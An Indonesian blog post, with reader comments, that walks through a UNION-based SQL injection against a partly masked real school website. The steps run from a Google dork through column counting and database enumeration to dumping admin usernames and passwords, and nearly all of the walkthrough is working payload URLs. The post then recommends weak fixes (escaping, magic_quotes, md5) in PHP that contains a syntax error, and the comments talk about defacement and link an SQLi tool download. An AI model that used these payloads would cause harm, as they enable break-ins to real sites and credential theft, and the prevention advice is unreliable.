Kamis, 08 November 2012

SQL Injection

Pengertian SQL Injection
  • SQL Injection adalah sebuah penetrasi serangan yang dilakukan di aplikasi client dengan cara memodifikasi syntax-syntax SQL yang ada di memori aplikasi client.
  • SQL Injection merupakan teknik pengeksploitasian aplikasi web yang didalamnya menggunakan database untuk penyimpanan data.

Sebab terjadinya SQL Injection yaitu tidak adanya penanganan terhadap karakter-karakter tertentu seperti single quote ( ' ) atau karakter double minus ( -- ) yang menyebabkan
suatu aplikasi dapat disisipi perintah SQL. Sehingga seorang attacker dapat menyisipkan perintah SQL kedalam suatu parameter, form (masukan), ataupun URL.

Teknik ini memungkinkan attacker untuk login kedalam sistem tanpa harus terdaftar didalam database. Selain itu, SQL injection juga memungkinkan untuk merubah, menghapus, maupun menambahkan data-data yang berada didalam database. Bahkan yang lebih berbahaya yaitu mematikan database itu sendiri, sehingga singkronasi antara webserver dan database hilang.

Implementasi SQL Injection

1)   Cari target, gunakan dork SQL injection. Untuk dork bisa mencari di google. Dork yang disini digunakan adalah: allinurl: berita_detail.php?id=


2)
  • Website yang coba di inject adalah http://sman1xxxxxxxxx.com/berita_detail.php?id=19.
  • Untuk pengecekan bug/kesalahan pada suatu web tambahkan single quote ( ' ) dibelakang URL, jadi seperti ini: http://sman1xxxxxxxxx.com/berita_detail.php?id=19'


  • Ternyata ada bug dalam website tersebut, muncul pesan error seperti ini : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1.

3)
  • Untuk mencari kolom, gunakan perintah : order by. Seperti ini: http://sman1xxxxxxxxx.com/berita_detail.php?id=19 order by 1--
  • Dimulai dari angka 1, selanjutnya 2, sampai muncul pesan error. Pada target ini, pesan error muncul pada angka 8. Sehingga URL bar menjadi seperti ini : http://sman1xxxxxxxxx.com/berita_detail.php?id=19 order by 8--


  • Muncul pesan error:  Unknown column '8' in 'order clause'. Jadi angka yang diambil adalah 8-1=7 (Jumlah kolom yang ada adalah 7 kolom) .
4.
  • Selanjutnya kita akan mencari "magic number" dimana kita akan bisa melakukan injeksi dengan perintah: union all select, lalu tambahkan tanda minus ( - ) didepan angka parameter 19. Sehingga perintah akan menjadi: http://sman1xxxxxxxxx.com/berita_detail.php?id=-19 union all select 1,2,3,4,5,6,7--

  • Pada screenshot diatas terlihat, muncul "magic number": 2, 3, 5, dan 4. Pilih salah satu dari itu, misalnya 2.
  • Kemudian kita cari versi database yang digunakan dengan perintah version()pada angka yang dipilih tadi (2). Sehingga perintah akan menjadi seperti ini : http://sman1xxxxxxxxx.com/berita_detail.php?id=-19 union all select 1,version(),3,4,5,6,7--

  • Pada screenshot diatas terlihat tulisan 5.1.6.3-0+squeeze1. Itu memperlihatkan bahwa versi database yang digunakan adalah MySQL versi 5.1.6.3. Untuk sekedar pemberitahuan, injeksi lebih mudah dilakukan pada MySQL versi 5 ke atas, karena pada proses mencari informasi tabel dan kolom dari information_schema, dimana information_schema tidak terdapat pada MySQL versi 4. Sehingga jika target memakai database MySQL versi 4, yang dilakukan adalah menebak tabel.

5)
  • Langkah selanjutnya adalah pencarian tabel dengan perintah : group_concat(table_name). pada salah satu magic number. Dan masukan juga perintah : +from+information_schema.tables+where table_schema=database()--  
  • Sehingga perintah menjadi : http://www.sman1xxxxxxxxx.com/berita_detail.php?id=-19 union all select 1,group_concat(table_name),3,4,5,6,7+from+information_schema.tables+where table_schema=database()--  

  • Pada screenshot terlihat nama-nama tabel, yaitu tabel admin, artikel, artikel_kategori, berita, bukutamu_balas, content_web, developer_web, ekstrakulikuler, fasilitas, forum, gallery, guru, jabatan, jadwal_pelajaran, kelas, komentar, kontakkami, link_terkait, matapelajaran, matapelajaran_un ,nb_connected, nilai_ujian, nilai_un, prestasi, profil_sekolah, promosi, siswa, t_forum_cat, t_forum_tr ,t_forum_ts, t_forum_user, t_vote_a, t_vote_o, t_vote_q, tz_who_is_online, uCounter, dan tabel visitors.

6)
  • Selanjutnya cari kolom dari tabel yang kira-kira ada hubungannya dengan usernama dan password. Kali ini diambil tabel "admin". Sebelum itu, nama tabel harus dikonversikan ke format hex agar nama tabel dapat tebaca oleh SQL di sini: http://www.asciitohex.com/
  • Perintah selanjutnya adalah :  group_concat(column_name) pada angka ajaib 3 dan perintah: +from+information_schema.columns+where+table_name=0xHEXA--" di akhir URL.
  • Ganti HEXA dengan hasil konversi yang tadi telah dilakukan yaitu: 61646d696e. Tambahkan 0x didepan hex agar server dapat mengetahui bahwa itu telah dikonversikan ke format hex. Sehingga perintah akan seperti ini : http://www.sman1xxxxxxxxx.com/berita_detail.php?id=-19 union all select 1,group_concat(column_name),3,4,5,6,7+from+information_schema.columns+where+table_name=0x61646d696e--


  • Pada screenshot diatas terlihat nama kolom id, username, nama, userpass, dan kolom email.
  • Untuk melihat dari isi kolom tersebut gunakan perintah : group_concat(column1,0x3a,column2) pada magic number 2 dan +from+namatabel-- pada akhir URL.
  • Ganti column1 dengan "username" dan column2 dengan "userpass". 0x3a adalah tanda titik dua ( : ) yang telah diconvert ke hexa.  Kemudian namatabel diganti dengan "admin" untuk mengambil informasi dari table yang bernama "admin". Sehingga perintah menjadi: http://www.sman1xxxxxxxxx.com/berita_detail.php?id=-19 union all select 1,group_concat(username,0x3a,userpass),3,4,5,6,7+from_admin--



Pencegahan SQL Injection

1) Merubah Script PHP

Contoh script php semula :
$query = "select id,name,email,password,type,block from user " .
"where email = '$Email' and password = '$Password'";
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, 'yes') == 0)
{
echo "<script>alert('Your account has been blocked');
document.location.href='index.php';</script>\n";
exit();
}
else if(!empty($Id) && !empty($name) && !empty($email) && !empty($password));


Script diatas memungkinkan seseorang dapat login dengan menyisipkan perintah SQL kedalam form login. Ketika hacker menyisipkan karakter ’ or ’’ = ’.

Maka dilakukan perubahan script menjadi :
$query = "select id,name,email,password,type,block from user".
"where email = '$Email'";
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, 'yes') == 0)
{
echo "<script>alert('Your account has been blocked');
document.location.href='index.php';</script>\n";
exit();
}
$pass = md5($Password);
else if((strcmp($Email,$email) == 0) && strcmp($pass,$password) == 0));


2) Menggunakan MySQL_escape_string

Merubah string yang mengandung karakter ‘ menjadi \’ misal SQL injec’tion menjadi SQL injec\’tion
Contoh : $kar = “SQL injec’tion”;
$filter = mySQL_escape_string($kar);
echo”Hasil filter : $filter”;


3) Pemfilteran karakter ‘ dengan memodifikasi php.ini

Modifikasi dilakukan dengan mengenablekan variabel magic_quotes pada php.ini sehingga menyebabkan string maupun karakter ‘ diubah menjadi \’ secara otomatis oleh php

Contoh script yang membatasi karakter yang bisa masukkan :
function validatepassword( input )
good_password_chars =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function

3 komentar:

  1. tau gag admin, ane paling ngakak waktu baca tulisan ini [Jika ingin men-deface halaman depan website ini, bisa dicari admin page nya. Pencarian bisa memakai tools "adminfinder" atau "scanlink.py"]

    salah min, di inurl:"adminfinger/satryadi.blogspot?id="

    gitu.....!!

    wkwkwkkwkwkwkwk

    visit back ya....!!
    jangan lupa coment, like + joint di mari [ http://c0d334rl.blogspot.com/ ]

    BalasHapus
  2. Atas ane ini kalo baca ya di perhatikan baik-baik. Pahami dulu mas.. Baru komentar .. -__-.

    Jika ingin men-deface halaman depan website ini, bisa dicari admin page nya. Pencarian bisa memakai tools "adminfinder" atau "scanlink.py". Tools bisa didownload di http://www.ziddu.com/download/10386415/InstantSQLI.rar.html

    Pencarian disini itu pencarian halaman admin bukan mencari admin nya di dork -_-... . Nyari login admin nya gunain adminfinder atau scanlink . Tools nya download di link nya itu. baru jalanin tuh script.

    #no Hope dah...
    1 lagi, dari tadi ane liat ente make tanda seru mulu, entah di fb , maupun di blog ini, seloow om...

    BalasHapus
  3. [quote]
    tau gag admin, ane paling ngakak waktu baca tulisan ini [Jika ingin men-deface halaman depan website ini, bisa dicari admin page nya. Pencarian bisa memakai tools "adminfinder" atau "scanlink.py"]

    salah min, di inurl:"adminfinger/satryadi.blogspot?id="

    gitu.....!!

    wkwkwkkwkwkwkwk

    visit back ya....!!
    jangan lupa coment, like + joint di mari [ http://c0d334rl.blogspot.com/ ]

    //-------------
    Terwakilkan oleh komentar dari My Place. ^_^
    Tengkyu udah mampir di blog ane.

    BalasHapus